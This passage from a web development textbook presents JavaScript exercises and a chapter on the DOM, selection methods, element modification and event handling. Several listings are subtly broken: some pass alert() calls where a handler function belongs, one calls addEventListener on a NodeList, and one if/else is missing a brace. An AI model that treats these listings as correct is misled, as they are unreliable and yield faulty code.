drive() that displays its name and model to the console. Instantiate two
car objects and call the drive() function for each one.

14. 14. Define and use an immediately-invoked function expression that
uses a loop to output to the console all the numbers between 1 and 20.

15. 15. Why are prototypes more efficient than other techniques for creating
objects with methods in JavaScript?

8.11.3 Hands-On Practice

Project1: Art Store

Difficulty Level: Beginner



Overview
Demonstrate your proficiency with loops, conditionals, arrays, and functions
in JavaScript. The final project will look similar to that shown in Figure 8.26
.

Figure 8.26 Completed Project
1

Figure 8.26 Full Alternative Text

Hands-On Exercises



Project 8.1

Instructions
1. You have been provided with the HTML file (chapter08-project01.html)

that includes the markup for the finished version. Preview the file in a
browser.

2. Examine the data file data.js. It contains four arrays that we are going to
use to programmatically generate the data rows (and replace the hard-
coded markup supplied in the HTML file).

3. Open the JavaScript file functions.js and create a function called
calculateTotal() that is passed a quantity and price and returns their
product (i.e., multiply the two parameter values and return the result).

4. Within functions.js, create a function called outputCartRow() that has
the following signature:

function outputCartRow(file, title, quantity, price, total) {}

5. Implement the body of this function. It should use document.write()
calls to display a row of the table using the passed data. Use the
toFixed() method of the number variables to display two decimal
places.

6. Replace the three cart table rows in the original markup with a
JavaScript loop that repeatedly calls this outputCartRow() function. Put
this loop within the chapter08-project01.js file. Add the appropriate
<script> tag to reference this chapter08-project01.js file within the
<tbody> element.

7. Calculate the subtotal, tax, shipping, and grand total using JavaScript.
Replace the hard-coded values in the markup with your JavaScript
calculations. Use 10% as the tax amount. The shipping amount should
be $40 unless the subtotal is above $1000, in which case it will be $0.



Test
1. Test the page in the browser. Verify that the calculations work

appropriately by changing the values in the data.js file.

Project 2: Photo Sharing Site

Difficulty Level: Intermediate

Overview
Demonstrate your ability to create JavaScript objects and arrays as well as
work with inner functions. The final project will look similar to that shown in
Figure 8.27 .

Figure 8.27 Completed Project



2
Figure 8.27 Full Alternative Text

Hands-On Exercises
Project 8.2

Instructions
1. You have been provided with the HTML file (chapter08-project02.html)

that includes the markup (as well as images and stylesheet) for the
finished version. Preview the file in a browser. You will be replacing the
markup for the four country boxes with a JavaScript loop.

2. In the file data.js, create an array named countries that contains four
object literals. Each object literal should contain four properties: name,
continent, cities, and photos. The cities and photos properties
should be arrays containing the city names and image filenames
respectively.

3. In the file functions.js, create a function named outputCountryBox()
that has the signature shown below. This function is going to generate
the markup (using document.write) for a single country box.

function outputCountryBox(name,continent,cities,photos)

4. Inside the outputCountryBox() function, create two inner functions
named outputCities() and outputPhotos(). These two functions will
have the responsibility to generate the markup for the cities and photo
boxes.

5. Replace the markup for the country boxes with a loop through your



array of countries. Within this loop, call your outputCountryBox()
function, passing it the relevant data from the country objects.

Test
1. Test the page in the browser. Verify the correct data is displayed.

Project 3: CRM Admin

Difficulty Level: Intermediate

Overview
Demonstrate your proficiency with JavaScript objects, constructor functions,
and prototypes. The final project will look similar to that shown in Figure
8.28 .



Figure 8.28 Completed Project
3

Figure 8.28 Full Alternative Text

Hands-On Exercises
Project 8.3



Instructions
1. You have been provided with the HTML file (chapter08-project03.html)

that includes the markup (as well as images and stylesheet) for the
finished version. Preview the file in a browser. You will be replacing the
markup for the five book “cards” with a JavaScript loop.

2. Create a JavaScript constructor function called Book() that has the
signature shown below. Use the this keyword to save the parameters as
object properties.

function Book(isbn,title,description,universities) { }

3. Create an array of five Book objects using your function constructor.
Pass in the appropriate data (taken from the markup) for each book as
parameters. The university data should be passed as an array of names.

4. Add a function named outputCard() as a prototype function to your
Book function object. This function should generate the markup (using
document.write) for a single book card. It should reference the book
object's data properties via the this keyword.

5. Replace the markup for the book cards with an immediately-invoked
function expression that loops through your array of Book objects and
calls the object's outputCard() function.

Test
6. Test the page in the browser. Verify the correct data is displayed

(including the book title as the cover images title attribute).
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Chapter Objectives
In this chapter you will learn …

What is Document Object Model (DOM)

How to use the DOM to dynamically manipulate the contents of a web
page

How to respond to JavaScript events

How to use the DOM and event handling to validate user input in a form

The previous chapter introduced the fundamentals of the JavaScript
programming language. This chapter builds upon those foundations and
shows you how to use JavaScript in a practical manner. To do so, this chapter
begins with the Document Object Model (DOM), which is a programming
interface for interacting with the contents of an HTML document. The
chapter will then build on the DOM to cover event handling, one of the most
important components of practical JavaScript programming.



9.1 The Document Object Model
(DOM)
JavaScript is almost always used to interact with the HTML document in
which it is contained. As such, there needs to be some way of
programmatically accessing the elements and attributes within the HTML.
This is accomplished through an application programming interface (API)
called the Document Object Model (DOM).

According to the W3C, the DOM is a:

Platform- and language-neutral interface that will allow programs and
scripts to dynamically access and update the content, structure and style
of documents.1

We already know all about the DOM, but by another name. The tree structure
from Chapter 3 (shown again in Figure 9.1 ) is formally called the DOM Tree
with the root, or topmost object called the Document Root. You already
know how to specify the style of documents using CSS; with JavaScript and
the DOM, you now can do so dynamically as well at run-time, in response to
user events. Thus, we can summarize and say that the DOM provides a
standardized, hierarchical (tree-like) way to access and manipulate the
contents of an HTML document.



Figure 9.1 DOM tree
Figure 9.1 Full Alternative Text

9.1.1 Nodes and NodeLists
In the DOM, each element within the HTML document is called a node. If
the DOM is a tree, then each node is an individual branch. There are element
nodes, text nodes, and attribute nodes, as shown in Figure 9.2 .



Figure 9.2 DOM nodes
Figure 9.2 Full Alternative Text

All nodes in the DOM share a common set of properties and methods. These
properties and methods allow us to retrieve information about the node,
manipulate its properties (for instance, changing its CSS properties or
retrieving its text content), and even create new content. Some of these
properties are available to all nodes; others are only available to, for instance,
element nodes. Furthermore, depending on the element, some nodes will have
specific properties for the specific element. Table 9.1 lists some of the more
important properties that all nodes, regardless of type, share.

Table 9.1 Some Essential Node
Object Properties

Property Description
attributes Collection of node attributes
childNodes A NodeList of child nodes for this node
firstChild First child node of this node



lastChild Last child of this node
nextSibling Next sibling node for this node
nodeName Name of the node
nodeType Type of the node
nodeValue Value of the node
parentNode Parent node for this node
previousSibling Previous sibling node for this node

textContent
Represents the text content (stripped of any
tags) of the node

The DOM also defines a specialized object called a NodeList that represents
a collection of nodes. It operates very similarly to an array (e.g., you use
numeric indexes within square brackets), even though it doesn't have the
exact same array methods and properties because NodeList and Array inherit
from different prototypes.

As we will see, many of the most common programming tasks that we
typically perform in JavaScript involve finding one or more nodes, and then
accessing or modifying them via those properties and methods.

9.1.2 Document Object
The DOM document object is the root JavaScript object representing the
entire HTML document. It contains some properties and methods that we will
use extensively in our development and is globally accessible via the
document object reference.

The properties of this document object cover a wide-range of information
about the page. Some of these are read-only, but others are modifiable. Like
any other JavaScript object, you can access its properties using dot notation
as illustrated in the following example:

// retrieve the URL of the current page

 var a = document.URL;

// retrieve the page encoding, for example  ISO-8859-1

var b = document.inputEncoding;



In addition to these properties, there are several essential methods you will
use all the time. Last chapter introduced you to one of these, the
document.write() method. To help us better familiarize ourselves with this
object, we will group the methods into these three categories:

Selection methods

Family manipulation methods

Event methods

We will cover each of these in the next several sections.

9.1.3 Selection Methods
The most important DOM methods are those that allow you to select one or
more document elements, and are shown in Table 9.2.

Table 9.2 Selection DOM
Methods

Method Description

getElementById(id)

Returns the single element node
whose id attribute matches the
passed id.

getElementsByClassName(name)

Returns a NodeList of elements
whose class name matches the
passed name.

getElementsByTagName(name)

Returns a NodeList of elements
whose tag name matches the
passed name.

querySelector(selector)

Returns the first element node
that matches the passed CSS



selector.

querySelectorAll(selector)

Returns a NodeList of elements
that match the passed CSS
selector.

The relationship between the first three methods listed in Table 9.2 is shown
in Figure 9.3 . The method getElementById() is perhaps the most commonly
used of these selection methods. It returns a single DOM Element (covered as
follows), that matches the id passed as an argument. The other two methods
getElementsByTagName() and getElementsByClassName() return a
NodeList. As mentioned in the previous section, a NodeList is similar (but
not identical) to an array of Node elements.

Figure 9.3 Using the
getElement() selection methods

Figure 9.3 Full Alternative Text



Selectors are a powerful mechanism for selecting elements in CSS. Until a
few years ago, there was no easy, cross-browser mechanism for selecting
nodes in JavaScript using CSS selectors (this was one of the key reasons
behind jQuery's popularity amongst JavaScript developers). The newer
querySelector() and querySelectorAll() methods allow us to query for
DOM elements much the same way we specify CSS styles, and are now
universally supported in all modern desktop and mobile browsers.2 Figure
9.4 illustrates how these methods provide a much more powerful way to
select elements than the getElement methods shown in Figure 9.3 .



Figure 9.4 Using querySelector
and querySelectorAll selection
methods



Figure 9.4 Full Alternative Text

Hands-on Exercises Lab 9
Exercise
Basic DOM Selection

Dive Deeper
At this point in the chapter, you might be thinking that the selection methods
document .getElementById() and document.querySelector() are essential
to most DOM programming tasks. You would certainly be correct. These two
functions are used again and again and again in DOM programming (and thus
JavaScript programming in general).

You might also be thinking that it gets tiring really fast typing in all those
letters over and over, and once again you are correct! One type of solution to
this hassle is to create some type of global shortcut function that simply calls
the relevant DOM method.

Just how short should we make this function name? JavaScript developers
seem to hate extra typing, so the shorter the better. You may remember from
the previous chapter that JavaScript identifiers can make use of an interesting
range of UNICODE symbols. This includes the $ symbol. Thus, we could
create a one character shortcut function for, say document.querySelector(),
as follows:

function $(selector) {

   return document.querySelector(selector);

}

Now instead of having the following code:

var node = document.querySelector(“#first p”);



We can use this much shorter version:

var node = $(“#first p”);

As we will discover in Chapter 10, the very popular JavaScript framework
jQuery defines a global function named $() that is somewhat analogous to
this one. It is of course much more sophisticated and powerful than our
sample single-line version, and once you get used to jQuery, you will find
yourself enjoying the conciseness that it can bring to your JavaScript code.

Until then, you may want to create your own shortcut function for document
.getElementById() or document.querySelector(). Though to prevent
possible confusion with jQuery, you may want to avoid using the dollar sign,
and instead use the underscore symbol. (However, there is an external third-
party JavaScript library called the underscore library that also uses the
underscore character as the name of its entry function.)

9.1.4 Element Node Object
The type of object returned by the methods getElementById() and
querySelector() described in the previous section is an Element Node
object. This represents an HTML element in the hierarchy, contained between
the opening <> and closing </> tags for this element. As you may already
have figured out, an element can itself contain more elements. Every element
node has the node properties shown in Table 9.1. It also has a variety of
additional properties, the most important of which are shown in Table 9.3.

Table 9.3 Some Essential
Element Node Properties
Property Description

classList

A read-only list of CSS classes assigned to this
element. This list has a variety of helper methods for



manipulating this list.

className
The current value for the class attribute of this HTML
element.

id The current value for the id of this element.

innerHTML
Represents all the content (text and tags) of the
element.

style

The style attribute of an element. This returns a
CSSStyleDeclaration object that contains sub-
properties that correspond to the various CSS
properties.

tagName The tag name for the element.

While these properties are available for all HTML elements, there are some
HTML elements (for instance, the <input>, <img>, and <a> elements) that
have additional properties that can be manipulated (some of these additional
properties are listed in Table 9.4). Listing 9.1 shows how these properties can
be programmatically accessed. Notice how using one or more of the selection
methods is an essential part of the DOM workflow.

Table 9.4 Some Specific HTML
DOM Element Properties for
Certain Tag Types
Property Description Tags
href Used in <a> tags to specify the linking URL. a

name

Used to identify a tag. Unlike id which is
available to all tags, name is limited to
certain form-related tags.

a, input,

textarea,

form

src

Links to an external URL that should be
loaded into the page (as opposed to href
which is a link to follow when clicked).

img,

input,

iframe,

script

Provides access to the value attribute of



value input tags. Typically used to access the
user's input into a form field.

input,

textarea,

submit

Listing 9.1 Accessing elements and
their properties
<p id=“here”>hello <span>there</span></p>

<ul>

    <li>France</li>

    <li>Spain</li>

    <li>Thailand</li>

</ul>

<div id=“main”>

    <a href=“somewhere.html”><img src=“whatever.gif” class=“thumb”></a>

</div>

<script>

    var node = document.getElementById(“here”);

    // outputs: hello <span>there</span> 

    console.log(node.innerHTML);

    // outputs: hello there 

    console.log(node.textContent);

    

    var items = document.getElementsByTagName(“li”);

    for (var i=0; i<items.length; i++) {

        // outputs: France, then Spain, then Thailand 

        console.log(items[i].textContent);

    }

    

    var link = document.querySelector(“#main a”);

    // outputs: somewhere.html 

    console.log(link.href);

    

    var img = document.querySelector(“#main img”);

    // outputs: whatever.gif 

    console.log(img.src);

    // outputs: thumb 

    console.log(img.className);   

</script>  



9.2 Modifying the DOM
Listing 9.1 demonstrated how to access some of the node and element
properties. You might naturally be wondering how one can practically make
use of some of these properties. Since most of the properties listed in the
previous tables are all read and write, this means that they can be
programmatically changed.

9.2.1 Changing an Element's Style
One common DOM task is to programmatically modify the styles associated
with a particular element. This can be done by changing properties of the
style property of that element. For instance, to change an element's
background color and add a three pixel border, we could use the following
code:

var node = document.getElementById(“someId”);

node.style.backgroundColor = “#FFFF00”;

node.style.borderWidth = “3px”;

Armed with knowledge of CSS attributes you can easily change any style
attribute. Note that the style property is itself an object, specifically a
CSSStyleDeclaration type, which includes all the CSS attributes as
properties and computes the current style from inline, external, and
embedded styles. While you can directly change CSS style elements via this
style property, it is generally preferable to change the appearance of an
element instead using the className or classList properties because it
allows the styles to be created outside the code, and thus be more accessible
to designers. Using this practice we would change the background color by
having two styles defined, and changing them with JavaScript code. Figure
9.5 illustrates how CSS styles can be programmatically manipulated in
JavaScript.



Figure 9.5 Manipulating the
CSS classes of an element

Figure 9.5 Full Alternative Text

A common use of the classList property is to toggle the use of a class. For
instance, we might want an element to not be visible until some user action



triggers its visibility, which can be done simply using the toggle() function.

// assume that a CSS class called hide has been defined

// if hide is set, remove it; otherwise add it to the element

node.classList.toggle(“hide”);

9.2.2 Changing an Element's
Content
Listing 9.1 illustrated how we can programmatically access the content of an
element node though its innerHTML or textContent properties. These
properties can be used to modify the content of any given element. In the last
chapter, we occasionally used document.write() method to demonstrate the
outputting of HTML content via JavaScript. While this is certainly allowed,
in general, this really isn't a reliable way to inject markup into an HTML
document.

For instance, given the markup in Listing 9.1 we could modify the HTML
content of the initial <p> element with the following code.

document.getElementById(“here”).innerHTML = “foo <em>bar</em>”;

Can you think of what code you would need to change the <ul> list in Listing
9.1 from country names to “Item 1, Item 2, …?” The correct code should
look similar to the following:

var items = document.getElementsByTagName(“li”);

for (var i=0; i<items.length; i++) {

  items[i].textContent = “Item ” + i;

}

Now the HTML of our document has been modified to reflect that change. If
we do a view source in our browser, it will show the HTML source that was
received with the request (i.e., the list will contain the country names). But
our eyes will show us something different due to this programmatic change;
as well, if we use the Inspector tool of the browser, we will see how the text
content of the list has been changed to the following:



<ul>

    <li>Item 1</li>

    <li>Item 2</li>

    <li>Item 3</li>

</ul>

Pro Tip
You may remember from last chapter that JavaScript programmers need to
minimize the number of global variables within their code. Thus, it is
common to chain DOM calls together. For instance, consider the following
code:

var node = document.getElementById(“name”);

node.className = “hidden”;

This adds a new identifier (node) to the current scope. We could eliminate
this by simply chaining the calls together as shown in the following example:

document.getElementById(“name”).className = “hidden”;

This version is generally preferred since it adds no identifiers to the global
scope. However, too much chaining can make your code harder to read and
understand.

9.2.3 Creating DOM Elements
Although the innerHTML technique works well (and is very fast), there is a
more verbose technique available to us that builds output using the DOM.
This more explicit technique has the advantage of ensuring that only valid
markup is created, while the innerHTML approach could output badly formed
HTML.

Hands-on Exercises Lab 9



Exercise
DOM Family Relations

Each node in the DOM has a variety of “family relations” properties and
methods for navigating between elements and for adding or removing
elements from the document hierarchy. These properties are illustrated in
Figure 9.6 .

Figure 9.6 DOM family
relations

Figure 9.6 Full Alternative Text

As can be read in the nearby note, these child and sibling properties can be an
unreliable mechanism for selecting nodes and thus in general, you will
instead use the selector methods in Table 9.2. The related document and node
methods for creating and removing elements in the DOM tree (and which are
shown in Table 9.5) are, in contrast, exceptionally useful.

Table 9.5 DOM Manipulation
Methods



Method Description

appendChild

Adds a new child node to the end of the current
node.

aParentNode.appendChild(newNode)

createAttribute

Creates a new attribute node.

var newAttribute =

document.createAttribute(“name”);

createElement

Creates an HTML element node.

var newElement =

document.createElement(“tag”);

createTextNode

Creates a text node.

var newText =

document.createTextNode(“text content”);

InsertBefore

Inserts a new child node before a reference node
in the current node.

aParentNode.insertBefore(newNode,

referenceNode)

removeChild
Removes a child from the current node.

aParentNode.removeChild(child)

replaceChild

Replaces a child node with a different child.

aParentNode.replaceChild(newChild,



oldChild)

Note
The illustration of the DOM family relations shown in Figure 9.6 is
somewhat misleading. These relations would only be as shown in the
diagram if all white space was removed around the tags. Take a look back at
Figure 9.2 . Notice how the spaces around the elements actually act as text
nodes, and these text nodes can make the DOM family navigation properties
less reliable than one might like. For instance, you might think that after
following code executes, node will be pointing to the <strong> element in
Figure 9.6 , but this will not be the case. If the spacing in document is the
same as the spacing shown in Figure 9.6 , it will be null instead, since the
first reference to firstChild in fact references the textNode representing the
white space between the <body> and <p> element.

var node = document.getElementsByTagName(“body”).firstChild.firstChild;

As a consequence, if you are using these family navigation properties, you
typically need to add conditional checks to ensure that a given node is the
type expected.

if (node.nodeType === Node.ELEMENT_NODE) {

   // do something amazing 

else {

   // ignore 

}

This type of coding can get pretty frustrating, and for that reason, it is
generally easier and safer to use one of the selector methods in Table 9.2,
rather than the family navigation properties in Figure 9.6 .

Listing 9.2 demonstrates how the selection and modification methods work
together. In this example, the HTML content of a <div> element is
dynamically modified. Figure 9.7 illustrates how the programming code in
Listing 9.2 works.





Figure 9.7 Visualizing the
DOM modification

Figure 9.7 Full Alternative Text
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Modifying the DOM

Listing 9.2 Dynamically creating
elements
<div id=“first”>

    <h1>DOM Example</h1>

    <p>Existing element</p>   

</div>

<script>

// begin by creating two new nodes 

var text = document.createTextNode(“this is dynamic”);

var p = document.createElement(“p”);

// add the text node to the <p> element node 

p.appendChild(text);

// now add the new <p> element to the <div> 

var first = document.getElementById(“first”);

first.appendChild(p);

</script>



9.2.4 DOM Timing
Before finishing this section on using the DOM, it should be emphasized that
the timing of any DOM code is very important. That is, you cannot access or
modify the DOM until it has been loaded.

For instance, in Listing 9.2, the DOM programming happens after the
markup that is to be manipulated. This should ensure that the elements exist
in the DOM before the code executes. While the “should” in the previous
sentence sounds comforting, for a programmer, “should” (i.e., probably) is
not good enough: we want “will,” that is, certainty!

For this reason, we typically want to wait until we know for sure that the
DOM has been loaded before we execute any DOM manipulation code. To
do this requires knowledge from our next section on event handling.

Tools Insight
JavaScript has become one of the most important programming languages in
the world. As a result, there has been tremendous growth in the availability of
tools to help in different aspects of JavaScript development. We could quite
easily fill an entire chapter of this book examining just a small subset of these
tools.3 In this Tools Insight section, we are going to look at just two
JavaScript tools; subsequent JavaScript chapters will include additional Tools
Insight sections that will introduce other tools.

The first, and most important, JavaScript tool is one that you have already
been using, namely, your browser. All modern browsers now include
sophisticated debugging and profiling tools. Just as the authors' grandparents
used to regale us in our childhood with stories of walking miles to school in
the snow going uphill there and back, we authors sometimes tell our students
what it used to be like in the late 1990s programming in JavaScript without
having access to any type of debugger. Now that was hardship! Thankfully in
today's more civilized development world, you can add breakpoints, step



through code line by line, and inspect variables all within the comfort of your
browser, as shown in Figure 9.8 .

Figure 9.8 Debugging within
the FireFox browser

Figure 9.8 Full Alternative Text

Contemporary browsers provide additional tools that are essential for real-
world JavaScript development. As more and more functionality has migrated
from the server to the client, it has become increasing important to assess the
performance of a site's JavaScript code. Figure 9.9 illustrates the Profile view
of a page's JavaScript performance. It allows a developer to pinpoint time-
consuming functions or visualize performance as timeline charts.



Figure 9.9 Evaluating
JavaScript performance in the
Chrome browser

Figure 9.9 Full Alternative Text

Our last category of JavaScript tool that we will look at in this chapter are a
type of code analysis tools commonly referred to as linters. A linter is a
program that checks your programming code for both syntactical and stylistic
correctness. Some development teams will insist that all code within a project
must pass some agreed-upon linter with no warnings or errors.

The two most common linters for JavaScript are JSLint and JSHint. They are
both available via web interfaces (see Figure 9.10 ), or can be integrated into
many development-oriented text editors. Of these two linters, JSLint is much



more opinionated (and controversial) in what it considers stylistically
incorrect JavaScript. As can be seen in Figure 9.10 , JSLint gives warning
messages for all for loops and expects all local variables to be defined at the
top of their parent block; as well, it is concerned with white space, though
one can customize some of this behavior. Interestingly, it didn't report the
missing semicolon on line 5, which was the only thing flagged by JSHint.

Figure 9.10 JavaScript linters
Figure 9.10 Full Alternative Text



9.3 Events
Events are an essential part of almost all real-world JavaScript programming.
A JavaScript event is an action that can be detected by JavaScript. Many of
them are initiated by user actions but some are generated by the browser
itself. The action is turned into an event by the browser which is then handled
by code that we write. We typically describe events in JavaScript as follows:
we say that an event is triggered and then it is handled by JavaScript
functions, which then do something in response.

9.3.1 Event-Handling Approaches
There are three main approaches to handling events in JavaScript:

using hooks to handlers embedded within markup elements,

attaching callbacks to event properties, and

using event listeners.

Inline Event-Handling Approach
In the original JavaScript world of the late 1990s, events were almost always
handled using the first handling approach. That is, handlers for events were
specified right in the HTML markup with hooks to the JavaScript code.4 This
approach “works” but from a software design standpoint it is far from ideal.
As can be seen in Figure 9.11 , such an approach leads to a mess of
dependencies.



Figure 9.11 Using inline hooks
Figure 9.11 Full Alternative Text

In Figure 9.11 , HTML event attributes (e.g., onclick and onchange) are
used to attach handlers (i.e., functions) to events. The problem with this type
of programming is that the HTML markup and the corresponding JavaScript
logic are woven together. For the programmer, to see which JavaScript
functions are called requires searching carefully through the entire markup.
Similarly, by adding programming into the markup, this reduces the ability of
designers to work separately from programmers, and generally complicates
maintenance of applications. It is for good reason that the coding style shown
in Figure 9.11 is sometimes referred to as spaghetti coding!

Although the book and its labs may occasionally illustrate a quick concept



with the old-style inline handler approach, the authors certainly recommend
not using the inline approach and instead suggest using one of the next two
approaches.

Note
Formally, we use an event handler to react to an event. Event handlers are
simply functions that are designed explicitly for responding to particular
events. If no response to an event is defined, the event might be passed up to
another object for handling.

Event Property Approach
As mentioned in the previous section, the problem with the event handling
shown in Figure 9.11 is that it does not separate content from behavior, and
as a consequence is much more difficult to maintain. The approach shown in
Listing 9.3 is supported by all browsers and allows us to separate the
specification of an event handler from the markup.

Listing 9.3 Using an event property
var myButton = document.getElementById('example');

myButton.onclick = alert('some message');

The first line in the listing creates a temporary variable for the HTML
element that will trigger the event. The next line attaches the button element's
onclick event to the event handler, which will invoke the JavaScript alert()
function (and thus annoys the user with a pop-up hello message).

The main advantage of this approach is that this code can be written
anywhere, including an external file that helps uncouple the HTML from the
JavaScript. However, the one limitation with this approach (and the inline
approach) is that only one handler can respond to any given element event.



For this reason, the preferred approach is to use listeners as shown in the next
section.

Event Listener Approach
All modern browsers (i.e., from Internet Explorer 9 forward) support the
event listener approach to handling events and it is the preferred approach
since it is possible to assign multiple handlers to a given event. Listing 9.4
illustrates a simplified usage of the event listener.

Hands-on Exercises Lab 9
Exercise
Simple Event Handling

Listing 9.4 Using an event listener
var myButton = document.getElementById('example');

myButton.addEventListener('click', alert('some message'));

myButton.addEventListener('mouseout', alert('another message'));

The addEventListener() function is used to register a handler for the event
specified by the first parameter. Tables 9.6 to 9.9 list many of the most
common event names. The second parameter of the addEventListener()
function is the handler for the event.

Table 9.6 Common Properties
and Methods of the Event



Object
Event Description

bubbles
Indicates whether the event bubbles up through the
DOM (see Dive Deeper section)

cancelable Indicates whether the event can be cancelled
target The object that generated (or dispatched) the event
type The type of the event (see Section 9.4 below)

Table 9.7 Mouse Events in
JavaScript

Event Description
click The mouse was clicked on an element
dblclick The mouse was double clicked on an element
mousedown The mouse was pressed down over an element
mouseup The mouse was released over an element
mouseover The mouse was moved (not clicked) over an element
mouseout The mouse was moved off of an element
mousemove The mouse was moved while over an element

Table 9.8 Keyboard Events in
JavaScript

Event Description
keydown The user is pressing a key (this happens first)
keypress The user presses a key (this happens after keydown)



keyup The user releases a key that was down (this happens last)

Table 9.9 Form Events in
JavaScript
Event Description

blur

Triggered when a form element has lost focus (that is,
control has moved to a different element), perhaps due to a
click or Tab key press.

change

Some <input>, <textarea> or <select> field had their
value change. This could mean the user typed something,
or selected a new choice.

focus
Complementing the blur event, this is triggered when an
element gets focus (the user clicks in the field or tabs to it).

reset
HTML forms have the ability to be reset. This event is
triggered when that happens.

select
When the users selects some text. This is often used to try
and prevent copy/paste.

submit

When the form is submitted this event is triggered. We can
do some prevalidation of the form in JavaScript before
sending the data on to the server.

This approach has all the other advantages of the approach shown in Listing
9.3, and has the additional advantage that multiple handlers can be assigned
to a single object's event (however the addEventListener() function is not
supported by IE 8 and earlier).

The examples in Listings 9.3 and 9.4 simply used the built-in JavaScript
alert() function. What if we wanted to do something more elaborate when
an event is triggered? In such a case, the behavior would have to be
encapsulated within a function, as shown in Listing 9.5.



Listing 9.5 Listening to an event
with a function
function displayTheDate() {

   var d = new Date();

   alert (“You clicked this on ”+ d.toString());

}

var element = document.getElementById('example');

element.addEventListener('click', displayTheDate);

You may remember from Section 8.9.4 in the previous chapter that function
expressions are full-fledged objects that can be passed as a parameter to
another function. Such a passed-in function is said to be a callback function
and are commonly used in event-driven JavaScript programming. You may
also remember from the previous chapter that in general we are interested in
reducing the number of global identifiers when programming with
JavaScript. As a result, we often will make use of anonymous functions as
event handlers, as shown in Listing 9.6. This approach is especially common
when the event handling function will only ever be used as a listener.

Listing 9.6 Listening to an event
with an anonymous function
var element = document.getElementById('example');

// now we are using an anonymous function as the handler 

element.addEventListener('click', function() { 

   var d = new Date(); 

   alert(“You clicked this on ”+ d.toString());

});

9.3.2 Event Object
When an event is triggered, the browser will construct an event object that
contains information about the event. Your event handlers can access this



event object simply by including it as a parameter to the callback function (by
convention, this event object parameter is often named e). Listing 9.7
demonstrates how this parameter might be used.
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Listing 9.7 Using the event object
parameter
var div = document.querySelector('div#example');

div.addEventListener('click', function(e) {

   // find out where the user clicked 

   var x =  e.clientX;

   var y =  e.clientY;

   // output the information for debugging purposes 

   console.log(e.type + ' event triggered by ' +  e.target);

   console.log(' at location ' + x + ' ' + y);

   // …

});

What are the properties that are supported by the event object? It depends on
the event type. All events have the properties listed in Table 9.6. Depending
on the event type, the event object will contain additional properties, some of
which are used in Listing 9.7.

What are these event types? The most common event types include mouse
events, keyboard events, touch events, drag events, time events, and message
events. We will be covering event types in more detail in Section 9.4, though
we won't have the space to cover them all.

These objects have many properties and methods. Many of these properties



are not used, but several key properties and methods of the event object are
worth knowing.

Bubbles. The bubbles property is a Boolean value. If an event's bubbles
property is set to true then there must be an event handler in place to
handle the event or it will bubble up to its parent and trigger an event
handler there. If the parent has no handler it continues to bubble up until
it hits the document root, and then it goes away, unhandled.

Cancelable. The Cancelable property is also a Boolean value that
indicates whether or not the event can be cancelled. If an event is
cancellable then the default action associated with it can be cancelled. A
common example is a user clicking on a link. The default action is to
follow the link and load the new page.

preventDefault. A cancelable default action for an event can be stopped
using the preventDefault() method as shown in Listing 9.8. This is a
common practice when you want to send data asynchronously when a
form is submitted for example, since the default event of a form submit
click is to post to a new URL (which causes the browser to refresh the
entire page).

Listing 9.8 A sample event handler
function that prevents the default
event
function submitButtonClicked(e) { 

    // prevent the submit action 

    e.preventDefault();

    // now do other amazing things 

    // …

}



Dive Deeper

Event Delegation
One of the more powerful, but confusing, issues with JavaScript events is that
of event delegation. It is a technique that you can use to avoid adding
numerous duplicate event listeners to a list of child events. Instead, it is
possible to assign a single listener to the parent and make use of event
delegation. For instance, suppose we have numerous panels within a parent
element, similar to the following:

<main>

   <h1>Main Title</h1>

   <div class=“panel”>

      <h2>subtitle 1</h2>

      <p>…</p>

   </div>

   <div class=“panel”>

      <h2>subtitle 2</h2>

      <p>…</p>

   </div>

   …

</main>

Now what if we wanted to do something special when the user clicks on the
<h2> subtitles (say change the background color of the surrounding panel or
hide or show the contents of the panel). Based on our existing knowledge, we
would probably write something like the following:

var titles = document.querySelectorAll(“.panel h2”);

for (var i=0; i < titles.length; i++) {

   titles[i].addEventListener(“click”, doSomethingToPanel(titles[i]));

}

Notice that this solution adds an event listener to each <h2> element. While
this code is pretty straightforward, it would be very memory inefficient if
there were hundreds of panels (imagine a page with hundreds of image
thumbnails or hundreds of table cells). As well, this simple handler would get



much more complicated if we also had the ability to dynamically add or
remove panels. In such a case, we would need to add event listeners to the
new panels or remove listeners to deleted panels (since listeners will remain
even if the panels are deleted).

Instead, we can add a single listener to the parent element, as shown in the
following code:

var main = document.querySelectorAll(“main”);

main.addEventListener(“click”, function (e) {

   // e.target is the object that generated the event. We need to verify

   // that e.target exists and that it is the <h2> element. 

   if (e.target && e.target.nodeName.toLowerCase() == “h2”) {

   doSomethingToPanel(e.target);

   }

});

As you can see, this is a more complicated event handler. Since the user can
click on all sorts of things within the <main> element, the click event handler
needs to determine if the user has clicked on one of the <h2> elements within
it.

This works because events in JavaScript progress from the immediate object
that generated the event, then up toward the document root. This movement
is called event bubbling or event propagation.

While this sounds complicated, the principle behind it is quite simple. As can
be seen in Figure 9.12 , when you click on an element, you are also clicking
on all the ascendants in the DOM tree.



Figure 9.12 Visualizing event
propagation

Figure 9.12 Full Alternative Text



9.4 Event Types
Perhaps the most obvious event is the click event, but JavaScript and the
DOM support several others. In actuality, there are several classes of event,
with several types of events within each class specified by the W3C. Some of
the most commonly used event types are mouse events, keyboard events,
touch events, form events, and frame events.

9.4.1 Mouse Events
Mouse events are defined to capture a range of interactions driven by the
mouse. These can be further categorized as mouse click and mouse move
events. Table 9.7 lists the possible events one can listen for from the mouse.

Interestingly, many mouse events can be sent at a time. The user could be
moving the mouse off of one <div> and onto another in the same moment,
triggering mouseon and mouseout events as well as the mousemove event. The
Cancelable and Bubbles properties can be used to handle these complexities.

9.4.2 Keyboard Events
Keyboard events are often overlooked by novice web developers, but are
important tools for power users. Table 9.8 lists the possible keyboard events.

These events are most useful within input fields. We could, for example,
validate an email address, or send an asynchronous request for a dropdown
list of suggestions with each key press.

<input type=“text” id=“key”>

We could listen to key press events for this input box and echo each pressed
key back to the user as shown in Listing 9.9.



Listing 9.9 Listener that hears and
alerts key presses
document.getElementById(“key”).addEventListener(“keydown”,

  function (e) {

     var keyPressed=e.keyCode;                  

     // get the raw key code 

     var character=String.fromCharCode(keyPressed);

     // convert to string

     alert(“Key “ + character + ” was pressed”);

});

Note
Unfortunately, various browsers implement keyboard properties differently.
For instance, FireFox, the keyCode property is not available for keypress
event. Thus, in Listing 9.9, if we were using the same callback function for
the keypress event, we would have to change the code to get the key press as
follows:

// use either the which or the keyCode property

 var keyPressed = e.which || e.keyCode;

Instead of littering our code with this type of browser testing conditional
statements, it is common to rely on something like the jQuery framework to
handle these browser idiosyncrasies.

9.4.3 Touch Events
Touch events are a new category of events that can be triggered by devices
